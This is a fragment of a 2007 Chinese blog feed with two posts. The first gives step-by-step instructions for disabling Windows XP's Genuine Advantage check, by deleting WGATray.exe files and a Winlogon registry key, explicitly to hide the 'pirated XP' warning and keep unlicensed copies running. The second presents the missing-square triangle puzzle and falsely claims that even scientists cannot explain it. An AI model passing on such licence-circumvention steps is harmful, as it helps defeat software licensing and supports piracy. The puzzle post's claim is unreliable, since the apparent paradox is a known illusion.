10pt">1.首先重启你的计算机，进入安全模式，登陆管理员帐号－－保证你拥有进入Windowssystem32以及Windowssystem32dllcache路径的权限。在这两个路径下均有一个名为WGATray.EXE的文件。你必须将两个路径下的WGATray.EXE均删除－－这将阻止Windows在启动时弹出“盗版XP”气球。</SPAN></P> <DIV><SPAN style="FONT-SIZE: 10pt">2.进入注册表，进入 <BR>HKEY_LOCAL_MACHINESOFTWAREMicrosoft Windows NTCurrentVersionWinlogonNotify <BR>删除其中的“WGALOGON”文件夹－－这将Windows将无法加载任何有关WGA的DLL文件。 <BR><BR>3.重新启动，wgatray.exe就不会自动启动了，再把x:windowssystem32中的wgatray.exe删除，再搜索一下，在另外的文件夹下还有，统统删除,这样就ok了。还有要记得以后不要再更新这个补丁了。</SPAN></DIV></SPAN></SPAN></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></DIV> <DIV></DIV>]]> 星期三, 21 十一月 2007 04:27:03 GMT http://blog.china.com:80/u/061218/21698/200711/1365272.html 2007-11-21T04:27:03Z http://blog.china.com:80/u/061218/21698/200710/1179902.html <![CDATA[ <DIV> <DIV><FONT size=3><A href="http://imgblog.china.com/u/061218/21698/pic/11932877049031.jpg" target=_blank><IMG src="http://imgblog.china.com/u/061218/21698/pic/11932877049031.jpg" onload="if(this.width>400)this.width=400;if(this.height>400)this.height=400" border=0></IMG></A></FONT></DIV> <DIV><FONT size=3></FONT>&nbsp;</DIV> <DIV><FONT size=3><A>科学家都无法解释的几何题</FONT></A> </DIV> <DIV><A href="http://blog.sina.com.cn/main/html/showpic.html#url=http://s3.album.sina.com.cn/pic/4c85d57702000vpq" target=_blank></A></DIV> <DIV>&nbsp;</DIV> <DIV>请看这幅图片，底格都是均匀小格，上面的三角形有四部分组成，组成了一个完整的三角形．如果每个小格边长为&nbsp;１个单位，那么上面三角形面积：Ｓ＝底*高/2</DIV> <DIV>＝65/2平方单位.</DIV> <DIV>再看下面的三角形完全是由上面三角形的四个拼块组成，我们看到下三角形出现了一处空格，如果先忽略空格三角形面积同样为65/2平方单位．但下图面积实际为(65/2)-1平方单位．</DIV> <DIV>相信学过数学的人此时都是一头雾水吧．我也一样，就连科学家都无法解释．</DIV> <DIV>&nbsp;</DIV> <DIV>&nbsp;</DIV> <DIV>&nbsp;</DIV> <DIV>&nbsp;</DIV></DIV> <DIV></DIV> <DIV></DIV> <DIV></DIV> <DIV></DIV>]]> 星期四, 25 十月 2007 04:48:25 GMT http://blog.china.com:80/u/061218/21698/200710/1179902.html 2007-10-25T04:48:25Z